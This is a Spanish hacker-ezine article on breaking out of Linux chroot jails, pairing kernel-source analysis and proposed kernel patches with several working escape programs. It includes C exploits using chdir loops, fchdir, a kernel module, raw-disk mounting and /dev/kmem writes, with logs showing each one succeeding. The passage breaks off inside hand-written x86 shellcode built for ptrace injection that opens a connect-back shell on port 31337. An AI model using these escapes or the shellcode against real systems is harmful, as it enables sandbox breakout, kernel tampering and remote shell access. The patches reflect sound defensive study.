struct fs_struct {
atomic_t count;
int umask;
struct dentry * root, * pwd;
};

(...)

---/ include/linux/sched.h /---


Como otras tantas cosas, esta informacion puede tambien extraerse del
procfs, concretamente de /proc/<PID>/root y /proc/<PID>/cwd, que se presentan
como enlaces simbolicos al directorio correspondiente.

Para modificar el valor de dichos campos el kernel proporciona 2 syscalls,
chroot y chdir, el codigo de las cuales puede leerse en fs/open.c y que ademas
es muy similar (las unicas diferencias son que chroot modifica el valor de
current->fs->root, y que solo puede ser llamada por un usuario con uid 0, y que
chroot modifica current->fs->pwd y puede ser llamada por cualquier proceso).
Ambas usan la funcion __namei() para extraer el dentry del path pasado a la
syscall, dicha funcion usara ademas lookup_dentry() para resolver el path a su
dentry correspondiente.


---/ fs/namei.c /---

(...)

struct dentry * __namei(const char *pathname, unsigned int lookup_flags)
{
char *name;
struct dentry *dentry;

name = getname(pathname);
dentry = (struct dentry *) name;
if (!IS_ERR(name)) {
dentry = lookup_dentry(name, NULL, lookup_flags);
putname(name);
if (!IS_ERR(dentry)) {
if (!dentry->d_inode) {
dput(dentry);
dentry = ERR_PTR(-ENOENT);
}
}
}
return dentry;
}

(...)

---/ fs/namei.c /---


La funcion lookup_dentry() inciara la resolucion desde un dentry base, que
inicializara como current->fs->root si el path empieza por "/" o como
current->fs->pwd en caso contrario, obviamente esto es lo que hace que podamos
hacer referencia a paths absolutos y relativos. Seguidamente, se entra en un
bucle que va recorriendo los directorios atraves del path y resolviendo cada
uno de los dentrys hasta llegar al final. Sera entonces cuando retorne la
estructura dentry que debera retornar namei() (para que luego sys_chroot o
sys_chdir la signen a current->fs->root o current->fs->pwd respectivamente).

Segun lo que hemos explicado hasta ahora nada nos impediria acceder a
directorios que se encuentren fuera de la 'jaula', podriamos incluso hacer un
simple chroot(".."), pero no, no es asi, pues para la resolucion de los
nombres reservados (como son "." y "..") se usa la funcion reserved_lookup(),
que, como vereis, en el caso de tener que resolver "..", comprueba que
partent, que es la entrada resuelta anteriormente no sea igual a
current->fs->root, de manera que se hace imposible bajar del chroot usando
"..".


---/ fs/namei.c /---

(...)

static struct dentry * reserved_lookup(struct dentry * parent, struct qstr * name)
{
struct dentry *result = NULL;
if (name->name[0] == '.') {
switch (name->len) {
default:
break;
case 2:
if (name->name[1] != '.')
break;

if (parent != current->fs->root)
parent = parent->d_covers->d_parent;
/* fallthrough */
case 1:
result = parent;
}
}
return dget(result);
}

(...)

---/ fs/namei.c /---


De todo ello deducimos que realmente escapara del chroot es muy facil, nos
basta con hacer lo siguiente, para lo que debemos tener privilegios de root,
pues como ya dijimos, la syscall chroot solo puede ser llamada por un usuario
con uid 0.

mkdir("foo", 0777);
chroot("foo");
for(i=0 ; i<1024 ; i++) chdir("..");
chroot(".");

Analicemos ahora con un mas de detenimiento estas lineas, y entendamos de
forma clara el porque de las cosas, que para eso estamos aqui.

Tenemos nuestro proceso corriendo, en el que current->fs->root y
current->fs-pwd estan asociados al dentry de "/home/chrooted". Seria la
obtención de un clasico "chroot /home/chrooted <programa>" en la linea de
comandos. Tras hacer...

mkdir("foo", 077);
chroot("foo");

Tras estas lineas, el valor de current->fs->root ha tomado el siguiente
valor; "/home/chrooted/foo", mientras que current->fs->pwd mantiene su
anterior valor.

for(i=0 ; i<1024 ; i++) chdir("..");

Ahora le estamos diciendo al kernel que haga 1024 reserved_lookups()'s y
debido a que current->fs->pwd se encuentra por debajo de current->fs->root en
el arbol de directorios, y el chdir hace referencia a un path relativo (por lo
que tomaremos como base en __namei() a current->fs->pwd), siempre se cumplira
la siguiente condicion que podemos encontrar en reserved_lookup:

if (parent != current->fs->root)
parent = parent->d_covers->d_parent;

Esto quiere decir que current->fs->pwd ira bajando una y otra vez (hasta
1024 veces si es necesario), por lo que practicamente con seguridad llegara un
momento en que current->fs->pwd este asociado al dentry de la raiz del
filesystem, en ese momento hacemos lo siguiente, y hacemos que
current->fs->root tome el valor de current->fs->pwd,

  
que era la raiz del
filesystem, por lo que ya hemos roto el chroot.

Todo lo que hemos visto hasta ahora es teoria, y a mi siempre me ha
gustado darle un enfoque practico a las cosas, pues es, en el fondo, la manera
mas comoda y facil de ver las cosas. Asi que vamos a montarnos un chroot y
vamos a tratar de romperlo.


---/ break_chroot.c /---

#include <stdio.h>
#include <unistd.h>

int main() {
char *exec_argv[2];
int i;
exec_argv[0]="sh";
exec_argv[1]=NULL;
mkdir("foo", 0777);
chroot("foo");
for(i=0 ; i<1024 ; i++) chdir("..");
chroot(".");
execve("/bin/sh", exec_argv, NULL);
}

---/ break_chroot.c /---


Go!


barracuda /#
barracuda /# mkdir chrooted ; cd chrooted ; mkdir bin ; mkdir lib
barracuda /chrooted# cp /bin/bash bin
barracuda /chrooted# ldd /bin/bash
libncurses.so.5 => /lib/libncurses.so.5 (0x40018000)
libdl.so.2 => /lib/libdl.so.2 (0x40058000)
libc.so.6 => /lib/libc.so.6 (0x4005c000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
barracuda /chrooted# cp /lib/libncurses.so.5 lib
barracuda /chrooted# cp /lib/libdl.so.2 lib
barracuda /chrooted# cp /lib/libc.so.6 lib
barracuda /chrooted# cp /lib/ld-linux.so.2 lib
barracuda /chrooted# cat >break_chroot.c<<_EOF_
#include <stdio.h>
#include <unistd.h>

int main() {
char *exec_argv[2];
int i;
exec_argv[0]="sh";
exec_argv[1]=NULL;
mkdir("foo", 0777);
chroot("foo");
for(i=0 ; i<1024 ; i++) chdir("..");
chroot(".");
execve("/bin/sh", exec_argv, NULL);
}
_EOF_
barracuda /chrooted# gcc break_chroot.c -static -o break_chroot
barracuda /chrooted# chroot /chrooted bash
barracuda /#


Ahora mismo tenemos un bash corriendo chrooteado en /chrooted. El comando
chroot de linux se ha encargado de cambiar current->fs->root y current->fs->pwd
para 'enjaular' el proceso. Nosotros hemos dejado un binario dentro, compilado
como -static para que no dependa de librerias externas, que deberia romper el
chroot segun nuestra teoria.


barracuda /# ./break_chroot
sh-2.03# ls
bin cdrom dev floppy initrd lost+found proc sbin usr vmlinuz
boot chrooted etc home lib mnt root tmp var
sh-2.03#


La prueba ha sido totalmente satisfactoria, como veis nos volvemos a
encontrar en la raiz del filesystem.





2.1.- Solucionando el problema.
-------------------------------

Si habeis estado atentos, os habreis dado cuenta que, a resumidas cuentas,
el problema reside en la posibilidad de que current->fs->pwd este fuera
current->fs->root, asi que deberiamos buscar una solucion para que esto no
suceda. Posiblemente a muchos de vosotros os ronde por la cabeza la misma
solucion; hacer que chroot modifique current->fs->root y current->fs->pwd, asi
seria imposible que se diera la condicion especificada antes. Vamos ahora a
modificar las fuentes del kernel para que eso suceda, modificaremos sys_chroot
por el siguiente codigo.

NOTA: En un principio modifique current->fs->pwd desde la propia syscall
chroot haciendo un simple "current->fs->pwd = current->fs->root;",
al tratar de romper el chroot varias veces seguidas se producia un error
de segmento, por lo que opte por llamar a sys_chdir("/") dentro del
chroot.


---/ fs/open.c /---

(...)

asmlinkage int sys_chroot(const char * filename)
{
int error;
__u32 old_limit;
struct inode *inode;
struct dentry *dentry, *tmp;

lock_kernel();

dentry = namei(filename);
error = PTR_ERR(dentry);
if (IS_ERR(dentry))
goto out;

inode = dentry->d_inode;

error = -ENOTDIR;
if (!S_ISDIR(inode->i_mode))
goto dput_and_out;

error = permission(inode,MAY_EXEC);
if (error)
goto dput_and_out;

error = -EPERM;
if (!capable(CAP_SYS_CHROOT))
goto dput_and_out;

/* exchange dentries */
tmp = current->fs->root;
current->fs->root = dentry;

/* Posible solucion al problema */
old_limit=current->addr_limit.seg;
current->addr_limit.seg=0xffffffff;
sys_chdir("/");
current->addr_limit.seg=old_limit;

dentry = tmp;
error = 0;

dput_and_out:
dput(dentry);
out:
unlock_kernel();
return error;
}

(...)

---/ fs/open.c /---


Como veis estamos cambiando el funcionamiento de la syscall, por lo que
muchos podriais pensar que esto puede dar problemas. Pero si tenemos en cuenta
que el chroot siempre va acompañado de un chdir vemos que no habra problema
alguno ni siquiera en la llamada a chdir.

Analicemos de nuevo, pero con el nuevo kernel funcionando lo que nuestro
codigo rompe chroots haria ahora, asi comprobaremos que ya no es capaz de
'desenjaularse' (por lo menos usando el metodo que hemos visto).

Tenemos nuevamente nuestro estimado proceso chrooteado en
"/home/chrooted". Tras ejecutar las dos primeras instrucciones, el chroot
modifica tanto current->fs->root como current->fs->pwd, por lo que pwd no
quedara fuera del arbol que cuelga de current->fs->root. Consecuencia de
ello es que al resolver el ".." del chdir no se cumple la condicion que
compara parent con current->fs->root (parent != current->fs->root), por lo que
current->fs->pwd seguira valiendo lo mismo que current->fs->root, y todo ello
evitara que el chroot se rompa. Veamos si realmente sucede eso a la practica.


barracuda /chrooted# chroot /chrooted bash
barracuda /# ./chroot_break
barracuda /# ls
bash: ls: command not found
barracuda /#





3.- Rompiendo el chroot en linux (metodo 2).
--------------------------------------------

En el metodo uno (presentado en el punto 2) nos nos aprovechabamos del
echo de que sys_chroot permite que current->fs->pwd este fuera del arbol que
cuelga de current->fs->root, pero son la solucion del punto 3 esto ya no
sucede. Sin embargo pueden encontrarse metodos alternativos para que siga
sucediendo. Si miramos nos miramos la pagina man de fchdir() leemos; "fchdir
is identical to chdir, only that the directory is given as an open file
decriptor"
. Teniendo en cuenta que tras realizarse un chroot seguimos teniendo
los decriptores de fichero que ya teniamos abiertos podemos tener un decriptor
de fichero que corresponda a un directorio que se encuentre fuera de la
'jaula', y usar la syscall fchdir() para modificar current->fs->pwd dejando
este fuera de la misma.


---/ fs/open.c /---

asmlinkage int sys_fchdir(unsigned int fd)
{
struct file *file;
struct dentry *dentry;
struct inode *inode;
int error;

lock_kernel();

error = -EBADF;
file = fget(fd);
if (!file)
goto out;

error = -ENOENT;
if (!(dentry = file->f_dentry))
goto out_putf;
if (!(inode = dentry->d_inode))
goto out_putf;

error = -ENOTDIR;
if (!S_ISDIR(inode->i_mode))
goto out_putf;

error = permission(inode, MAY_EXEC);
if (!error) {
struct dentry *tmp = current->fs->pwd;
current->fs->pwd = dget(dentry);
dput(tmp);
}
out_putf:
fput(file);
out:
unlock_kernel();
return error;
}

---/ fs/open.c /---


Como podeis ver al realizar el cambio de current->fs->pwd no se realiza
ningun tipo de comprobacion para saber si este queda fuera o dentro del
chroot. Por ahi podemos atacar nosotros. ¿Como?

Primero de todo abrimos el directorio actual, de manera que obtenemos un
decriptor de fichero para tratar con el mismo. Seguidamente creamos un
directorio y chrooteamos a el, sufriendo el cambio tanto current->fs->root
como current->fs->pwd, pero manteniendo el decriptor de fichero que hemos
abierto, lo que nos permite llamar a fchdir() modificando current->fs->pwd, de
manera que este queda fuera del arbol y podemos hacer a partir de aqui lo mismo
que haciamos en el punto 2.


---/ break_chroot2.c /---

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>

int main() {
char *exec_argv[2];
int i;
int fd;
exec_argv[0]="sh";
exec_argv[1]=NULL;
fd=open(".", O_RDONLY);
mkdir("foo", 0777);
chroot("foo");
fchdir(fd);
for(i=0 ; i<1024 ; i++) chdir("..");
chroot(".");
close(fd);
execve("/bin/sh", exec_argv, NULL);
}

---/ break_chroot2.c /---


Go!


barracuda /chrooted# cat >break_chroot2.c<<_EOF_
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>

int main() {
char *exec_argv[2];
int i;
int fd;
exec_argv[0]="sh";
exec_argv[1]=NULL;
fd=open(".", O_RDONLY);
mkdir("foo", 0777);
chroot("foo");
fchdir(fd);
for(i=0 ; i<1024 ; i++) chdir("..");
chroot(".");
close(fd);
execve("/bin/sh", exec_argv, NULL);
}
_EOF_
barracuda /chrooted# gcc break_chroot2.c -static -o break_chroot2
barracuda /chrooted# chroot /chrooted bash
barracuda /# ./break_chroot
sh-2.03# ls
bin cdrom dev floppy initrd lost+found proc sbin usr vmlinuz
boot chrooted etc home lib mnt root tmp var
sh-2.03#


No se necesitan mas palabras... Hemos roto el chroot :)





3.1.- Solucionando el problema.
-------------------------------

Esta vez el problema parece mas complicado de solucionar, y de echo lo
es. El problema, en este caso, es que fchdir() no comprueba que el directorio
al que se va a cambiar este fuera del arbol que cuelga de current->fs->root.
Asi pues, la solucion pasara por hacer que si lo haga. ¿Como podriamos
hacerlo?

Posiblemente a mas de uno, se le haya ocurrido recorrer todo el arbol de
directorios, partiendo de current->fs->root buscando uno cuyo dentry coincida
con el dentry extraido del decriptor de fichero pasado a fchdir(), de manera
que podriamos asegurar que este se encuentra 'colgando' de current->fs->root,
pero esta solucion seria demasiado costosa para el sistema operativo, asi que
estuve pensando en una alternativa y se me ocurrio algo bastante sencillo y
mucho menos costoso.

Sabemos que en la struct dentry, d_parent apunta al directorio padre
exepto en en la raiz del sistema de ficheros (no confundais con la raiz del
chroot), donde apunta a la propia estructura. Gracias a ello, podemos sacar
el 'camino' de dentrys que tiene cualquier directorio facilmente, y mediante
dicho 'camino' es facil ver si un dentry cuelga de otro. Ahi va mi parche.


---/ fs/open.c /---

/*
* Hemos añadido estas dos funciones para juguetear un poco con los dentrys :-)
*/


struct dentry **getdentryway(struct dentry *d) {
struct dentry **ret;
struct dentry *dc;
int count;

for(count=0, dc=d ; dc->d_parent!=dc ; count++, dc=dc->d_parent);

ret=(struct dentry **)kmalloc(count*(sizeof(struct dentry *)), GFP_KERNEL);
ret[count--]=NULL;

for(dc=d ; dc->d_parent!=dc ; count--, dc=dc->d_parent) ret[count]=dc;

return(ret);
}


int isdentryin(struct dentry *d1, struct dentry *d2) {
int i;
struct dentry **way_d1;
struct dentry **way_d2;

way_d1=getdentryway(d1);
way_d2=getdentryway(d2);

for(i=0 ; i<1024 ; i++) {
if (way_d1[i]==0) return(1);
if (way_d1[i]!=way_d2[i]) return(0);
}

kfree(way_d1);
kfree(way_d2);

return(0);
}

asmlinkage int sys_fchdir(unsigned int fd)
{
struct file *file;
struct dentry *dentry;
struct inode *inode;
int error;

lock_kernel();

error = -EBADF;
file = fget(fd);
if (!file)
goto out;

error = -ENOENT;
if (!(dentry = file->f_dentry))
goto out_putf;
if (!(inode = dentry->d_inode))
goto out_putf;

error = -ENOTDIR;
if (!S_ISDIR(inode->i_mode))
goto out_putf;

error = permission(inode, MAY_EXEC);

/*
* Aqui hemos metido mano...
* ¿Estamos intentando acceder fuera del chroot?
*/

if (!isdentryin(current->fs->root, dentry)) error=-EPERM;

if (!error) {
struct dentry *tmp = current->fs->pwd;
current->fs->pwd = dget(dentry);
dput(tmp);
}
out_putf:
fput(file);
out:
unlock_kernel();
return error;
}

---/ fs/open.c /---


Como podeis ver, he añadido dos funciones al fichero, getdentryway()
retorna un array de punteros a dentrys que corresponden al 'camino' de un
dentry dado, y isdentryin() mira si un dentry cuelga del arbol de otro.

Si ahora probamos de nuevo el modelo 2 del break_croot, veremos que
este no es capaz de romper el chroot, se queda a dos velas.


barracuda /chrooted# chroot /chrooted bash
barracuda /# ./chroot_break2
barracuda /# ls
bash: ls: command not found
barracuda /#




4.- Rompiendo el chroot en linux (Metodo 3).
--------------------------------------------

Con las 2 modificaciones que se le han hecho al kernel, parece que hemos
evitado que un intruso pueda salir de su jaula, sin embargo eso no es asi en
linux que usen un kernel con soporte para Loadable Kernel Modules, puesto que
gracias a los LKM podemos ejecutar codigo en ring0 y en consecuencia acceder a
toda la memoria, lo que nos permitira facilmente modificar los datos de la
task_struct de un proceso.

Hacer esto, como ya dije, es muy sencillo. Basta con extraer la
task_struct adecuada y modificar los campos adecuados, que en este caso son los
mismos de los que hemos venido hablando durante todo el articulo.


---/ break_chroot3.c /---

#define __KERNEL__
#define MODULE

#include <linux/ctype.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>

#include <linux/sched.h>
#include <linux/file.h>
#include <linux/smp_lock.h>

int break_chroot(struct task_struct *p) {
struct dentry *root;
struct dentry *tmp;

lock_kernel();

for (root=current->fs->root ; root->d_parent!=root ; root=root->d_parent);

tmp=p->fs->root;
p->fs->root=root;
dput(tmp);

tmp=p->fs->pwd;
p->fs->pwd=root;
dput(tmp);

unlock_kernel();

return(0);
}

int init_module() {
break_chroot(current->p_pptr);
return(-1); /* No keremos dejar nada en memoria */
}

void cleanup_module() {
}

---/ break_chroot3.c /---


Obviamente para que esto funcione debemos poder insertar el modulo. para
ello nos basta con tener acceso a las syscalls create_module e init_module y
programarnos un loader. Por suerte alguien lo hizo ya antes que nosotros, por
lo que podemos disponer de "insmod". Lo que haremos en este caso para poder
usar insmod dentro del entorno chroot sera lo mismo que hicimos con el bash.

Una vez hecho, comprobaremos que nuestro modulo funciona perfectamente
(no os alarmeis por el mensaje de error, es normal, pues nuestra funcion
init_module retorna -1 para no dejar nada en memoria).


barracuda /chrooted# gcc -O3 -c -I/usr/src/linux/include break_chroot3.c
barracuda /chrooted# chroot /chrooted bash
barracuda /# insmod break_chroot3.o
break_chroot3.o: init_module: Device or resource busy
Hint: insmod errors can be caused by incorrect module parameters, including invalid IO or IRQ parameters
barracuda /# ls
bin cdrom dev floppy initrd lost+found proc sbin usr vmlinuz
boot chrooted etc home lib mnt root tmp var
barracuda /#


Y una vez mas... sobran las palabras.




4.1.-Solucionando el problema.
------------------------------

Normalmente no se instalara ningun modulo de kernel en un entorno
chrootrado, por lo que la solucion a este problema es realmente sencilla. Nos
bastara con prohibir la insercion de modulos desde un entorno chrooteado.

Para hacer esto debemos recordar que en la carga de un modulo se usan
las syscalls create_module e init_module. Lo unico que tendremos que hacer es
que create_module retorne error si trata de ser llamada desde un entorno
chrooteado.

---/ kernel/module.c /---

asmlinkage unsigned long
sys_create_module(const char *name_user, size_t size)
{
char *name;
long namelen, error;
struct module *mod;
struct dentry *root;

lock_kernel();
if (!capable(CAP_SYS_MODULE)) {
error = -EPERM;
goto err0;
}

/*
* Sacamos el dentry del directorio raiz bajando hasta el limite
* usando el campo d_parent que ya hemos visto en varias ocasiones.
*/

for(root=current->fs->root ; root->d_parent!=root ; root=root->d_parent);

/*
* Si no coincide con la raiz del proceso es que estamos en un entorno
* chrooteado, por lo que prohibimos la carga del modulo.
*/

if (root!=current->fs->root) {
error = -EPERM;
goto err0;
}

if ((namelen = get_mod_name(name_user, &name)) < 0) {
error = namelen;
goto err0;
}
if (size < sizeof(struct module)+namelen) {
error = -EINVAL;
goto err1;
}
if (find_module(name) != NULL) {
error = -EEXIST;
goto err1;
}
if ((mod = (struct module *)module_map(size)) == NULL) {
error = -ENOMEM;
goto err1;
}

memset(mod, 0, sizeof(*mod));
mod->size_of_struct = sizeof(*mod);
mod->next = module_list;
mod->name = (char *)(mod + 1);
mod->size = size;
memcpy((char*)(mod+1), name, namelen+1);

put_mod_name(name);

module_list = mod; /* link it in */

error = (long) mod;
goto err0;
err1:
put_mod_name(name);
err0:
unlock_kernel();
return error;
}


---/ kernel/module.c /---


Si intentamos cargar de nuevo el modulo rompe chroots dentro del entorno
chrooteado leeremos un mensaje de error similar a este:


barracuda /# insmod break_chroot3.o
break_chroot3.o: create_module: Operation not permitted
barracuda /#




5.- Rompiendo el chroot en linux (Metodos 4 y 5).
-------------------------------------------------

En el kernel de linux hay, podriamos decir 3 niveles en el acceso a un
fichero, el dispositivo, el sistema de ficheros y el propio fichero. De manera
que cuando se accede a un fichero se consulta al filesystem y este consulta
al dispositivo. Como bien sabeis, linux proporciona acceso a los dispositivos
de la misma forma que los fichero, creado esto con la syscall mknod, y
teniendo cada dispositivo un major number asociado.

Incluso desde dentro de un entorno chrooteado podemos ser capaces de
llamar a la syscall mknod, lo que nos brinda la posibilidad de crear
dispositivos mediante los cuales podemos acceder a informacion privilegiada y
util. Todo esto nos ofrece varias posibilidades.

Podemos crear device perteneciente al dispositivo de almacenamiento (el
disco duro) y acceder a el directamente, al mas puro estilo RAW. Este tipo de
acceso es realmente incomodo, y deberiamos implementar todo el sistema de
acceso a ficheros (que ademas depende de los filesystem que se esten usando).
Por suerte el kernel hizo esa implementacion por nosotros, y ademas, nos la
deja usar. Podemos llamar a la syscall mount() para montar el dispositivo que
hemos creado, y acto seguido chrootear al punto de montaje. Pese a que esta
tecnica es muy sencilla, se requiere cierta informacion de la maquina para
poder realizar mount con satisfaccion. Necesitamos saber que devices se estan
usando (el major y minor number) y el sistema de ficheros que se esta usando.

---/ break_chroot4.c /---

#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mount.h>
#include <errno.h>

#define DEVNAME "foo"
#define DIRNAME "bar"

#define MAJOR 3
#define MINOR 2
#define FILESYSTEM "ext2"

int main() {
char *exec_argv[2];
exec_argv[0]="sh";
exec_argv[1]=NULL;
mkdir(DIRNAME, 0777);
mknod(DEVNAME, S_IFBLK|0600, makedev(MAJOR, MINOR));
mount(DEVNAME, DIRNAME, FILESYSTEM, 0xc0ed0000, NULL);
chroot(DIRNAME);
chdir("/");
execve("/bin/sh", exec_argv, NULL);
}


---/ break_chroot4.c /---


En este ejemplo he usado como major y minor number 3 y 2 respectivamente,
que corresponden al dispositivo /dev/hda2, que es en el que tengo la raiz del
sistema, el sistema de ficheros usado es ext2, y debido a que esta tecnica no
funciona sobre kernels 2.2.x he realizado la prueba que viene a continuacion
en un kernel 2.4.17.


barracuda /chrooted# gcc -static break_chroot4.c -o break_chroot4
barracuda /chrooted# chroot /chrooted bash
barracuda /# ./break_chroot4
barracuda /# ls
bin cdrom dev floppy initrd lost+found proc sbin usr vmlinuz
boot chrooted etc home lib mnt root tmp var
barracuda /#


Pero esto no es todo. El hecho de poder disponer de los dispositivos nos
brinda aun mas posibilidades. Podemos crear un dispositivo con major number 1
y minor number 2 (lo que seria un simil de /dev/kmem), y usarlo para
toquetear la memoria del kernel y cambiar los datos de la task_struct del
proceso chrooteado, de forma similar a la que hicimos con el modulo de kernel.

Usaremos dos funciones kread y kwrite para leer/tocar la memoria del kernel
via /dev/kmem, creado previamente con mknod. Romperemos el chroot con este
codigo:


---/ break_chroot5.c /---

#define __KERNEL__
#define MODULE

#include <linux/kernel.h>
#include <linux/module.h>

#include <linux/sched.h>
#include <linux/file.h>
#include <unistd.h>

#define makedev(major, minor) ((((uint) major & 0xFF) << 8) | ((uint) minor & 0xFF))

#define DEVNAME "foo"

unsigned long get_ksym_pos(char *name) {
int i;
int ret;
struct module_symbol *ms;
query_module(0, QM_SYMBOLS, 0, 0, &ret);
ms=(struct module_symbol *)malloc(ret);
query_module(NULL, QM_SYMBOLS, ms, ret, &ret);
for(i=0 ; i<ret ; i++) {
ms[i].name+=(unsigned long)ms;
if (!strncmp(ms[i].name, name, strlen(name))) break;
}
free(ms);
return(ms[i].value);
}

int kread(unsigned long pos, char *buf, int len) {
int fd;
int ret;
fd=open(DEVNAME, O_RDONLY);
lseek(fd, pos, SEEK_SET);
ret=read(fd, buf, len);
close(fd);
return(ret);
}

int kwrite(unsigned long pos, char *buf, int len) {
int fd;
int ret;
fd=open(DEVNAME, O_WRONLY);
lseek(fd, pos, SEEK_SET);
ret=write(fd, buf, len);
close(fd);
return(ret);
}

struct task_struct *find_task_struct_by_pid(int pid) {
unsigned long task_init=get_ksym_pos("init_task_union");
unsigned long kpos;
struct task_struct *task=(struct task_struct *)malloc(sizeof(struct task_struct));
kread(task_init, (char *)task, sizeof(struct task_struct));
do {
kpos=(unsigned long)task->next_task;
kread(kpos, (char *)task, sizeof(struct task_struct));
} while(task->pid && task->pid!=pid);
return(task);
}

void break_chroot(struct task_struct *task) {
struct fs_struct fs;
struct fs_struct wr;
struct dentry dentry;
unsigned long kpos;
unsigned long wr_kpos;
wr_kpos=kpos=(unsigned long)task->fs;
kread(kpos, (char *)&fs, sizeof(struct fs_struct));
wr=fs;
kpos=(unsigned long)fs.root;
kread(kpos, (char *)&dentry, sizeof(struct dentry));
do {
kpos=(unsigned long)dentry.d_parent;
kread(kpos, (char *)&dentry, sizeof(struct dentry));
} while(kpos!=(unsigned long)dentry.d_parent);
wr.root=dentry.d_parent;
wr.pwd=dentry.d_parent;
kwrite(wr_kpos, (char *)&wr, sizeof(struct fs_struct));
}

int main() {
int ppid=getppid();
struct task_struct *task;
mknod(DEVNAME, S_IFCHR|0600, makedev(1, 2));
task=find_task_struct_by_pid(ppid);
break_chroot(task);
}

---/ break_chroot5.c /---


Veamos...


barracuda /chrooted# gcc -static -I/usr/src/linux/include break_chroot5.c -o break_chroot5
barracuda /chrooted# chroot .
barracuda /# ./break_chroot5
barracuda /# ls
bin cdrom dev floppy initrd lost+found proc sbin usr vmlinuz
boot chrooted etc home lib mnt root tmp var
barracuda /#


W0p, w0p, w0p :)



5.1.- Solucionando el problema
------------------------------

Solucionar el problema vuelve a ser MUY facil. Nos basta con privar el uso
de una syscall en un entorno chrooteado, al igula que hicimos previamente con
create_module en el punto anterior. (Ver arriba :)





6.- Rompiendo el chroot en linux (Metodo 6).
--------------------------------------------

Existe aun un metodo mas que permite a un usuario que se encuentra en
un entorno chrootrado salir de el. A diferencia de los demos metodos vistos
hasta ahora este no requiere privilegios de root, lo que no quiere decir que
pueda hacerse a la ligera, pues requiere otra condicion, que haya en la maquina
otro proceso funcionando con nuestros mismos privilegios y que este no se
encuentre chrooteado.

Para entender esta tecnica es preferible entender la tecnica de
insercion de codigo a procesos en ejecucion descrita en un articulo publicado
en este mismo ezine (toca leer mas).

Lo unico que debemos realizar es insertar una shellcode remota al
proceso que este rulando fuera del chroot con nuestros privilegios y usar un
socket (o cualquier otro metodo que nos permita comunicar con el proceso) para
establecer una comunicacion con la shellcode.

Nos aparece, no obstante, algun problema para poder llegar a cabo
esto. La tecnica se basa en el uso de la syscall ptrace, y esta requiere el
pid del proceso a atachear, pero nosotros no disponemos de el, pues no suele
haber procfs dentro de los entornos chrooteados. La solucion pasa por realizar
un barrido de pids, es decir probarlos todos hasta encontrar uno. No es una
solucion demasiado elegante, pero funciona, y la verdad... no se me ocurre
otra.

Como ya dije anteriormente lo primero que necesitamos es una shellcode
remota, asi que debemos diseñar una. La shellcode que veis a continuacion se
conecta a la IP 127.0.0.1 por el puerto 31337 y ofrece una shell pidiendo
previamente un terminal al sistema, de la misma manera que lo haria un servidor
telnet. El codigo es un poco distinto a lo que seria una shellcode real, pues
debemos crear un proceso hijo para que el proceso traceado no muera, lo que,
dependiendo del proceso del que se trate, seria sospechoso.


---/ ptmx_connect_shellcode.S /---

/*
* Remote linux shellcode by Ripe - <ripe@7a69ezine.org>
*/

#define __NR_fork $2
#define __NR_read $3
#define __NR_write $4
#define __NR_open $5
#define __NR_close $6
#define __NR_execve $11
#define __NR_dup $41
#define __NR_ioctl $54
#define __NR_socketcall $102
#define __NR_poll $168

#define SYS_SOCKET $1
#define SYS_BIND $2
#define SYS_CONNECT $3

#define SOCK_STREAM $1
#define AF_INET $2
#define IPPROTO_TCP $6

#define O_RDWR $2

#define POLLIN $1

#define TIOCSPTLCK $0x40045431
#define TIOCGPTN $0x80045430

.globl injected_code
injected_code:
/*
* Creamos un proceso hijo en el que se ejecutara la shellcode.
* En el padre generaremos una interrupcion 3 (breakpoint) para
* que el inyector tome el control y restaure el codigo original.
*/

xorl %eax,%eax
movb __NR_fork,%al
int $0x80 // fork();
xorl %ebx,%ebx
cmpl %eax, %ebx
je shellcode
int $0x03 // Breakpoint!!
shellcode:
jmp a_data

addr:
call get_addr
.string "\x7f\x00\x00\x01"

a_data:
/*
* Abrimos /dev/ptmx
*/

xorl %eax,%eax
pushl %eax
movb __NR_open,%al
pushl $0x786d7470
pushl $0x2f766564
pushw $0x2f2f
movl %esp,%ebx
xorl %ecx,%ecx
movb O_RDWR,%cl
int $0x80 // ptmx=open("/dev/ptmx", O_RDWR);

/*
* Pedimos un terminal al sistema.
*/

movl %eax,%ebx
xorl %eax,%eax
movb __NR_ioctl,%al
movl TIOCGPTN,%ecx
movl %esp,%edx
int $0x80 // ioctl(ptmx, TIOCGPTN, &num);

/*
* Desbloqueamos el terminal.
*/

xorl %eax,%eax
push %eax
movb __NR_ioctl,%al
movl TIOCSPTLCK,%ecx
movl %esp,%edx
int $0x80 // ioctl(ptmx, TIOCSPTLCK, 0);

/*
* Cerramos los decriptores 2, 1 y 0.
*/

movl %ebx,%edi
xorl %ebx,%ebx
movl $2,%ebx
close_fd:
xorl %eax,%eax
movb __NR_close,%al
int $0x80
decl %ebx
jge close_fd

/*
* Convertimos el numero devuelto por el ioctl de
* solicitud de terminal al ascii correspondiente.
*/

popl %ecx
popl %eax
movb $10,%dl
idivb %dl
addb $0x30,%ah
xchg %ah,%al
cmpb $1,%ah
jl one_digit
xchg %ah,%al
addb $0x30,%al
one_digit:
pushl %eax

/*
* Abrimos /dev/pts/<num> para tratarlo como terminal.
* Ya lo tenemos!
*/

pushl $0x2f737470
pushl $0x2f766564
pushw $0x2f2f
xorl %eax,%eax
movl __NR_open,%eax
movl %esp,%ebx
movb O_RDWR,%cl
int $0x80 // pts=open("/dev/pts/<num>, O_RDWR);

/*
* Creamos un proceso hijo en el que se ejecutara la shell.
*/
xorl %eax,%eax
movb __NR_fork,%al
int $0x80 // fork();
xorl %ebx,%ebx
cmpl %eax,%ebx
je child

/*
* Creamos un socket. La llamada retornara siempre 1, pues
* es el primer decritor libre (recordad que cerramos antes
* los decriptores 2, 1 y 0. El 0 lo ocupo el open anterior).
*/
xorl %eax,%eax
movb __NR_socketcall,%al
movb IPPROTO_TCP,%bl
pushl %ebx
movb SOCK_STREAM,%bl
pushl %ebx
movb AF_INET,%bl
pushl %ebx
movb SYS_SOCKET,%bl
movl %esp,%ecx
int $0x80 // sfd=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

/*
* Conectamos el socket (no nos es necesario guardar/salvar el valor
* del socket, sabemos que es 1) a 127.0.0.1 por el puerto 31337.
*/
movb __NR_socketcall,%al
jmp addr
get_addr:
popl %edx
movl (%edx),%ebx
pushl %ebx
movl $0x697affff,%ebx
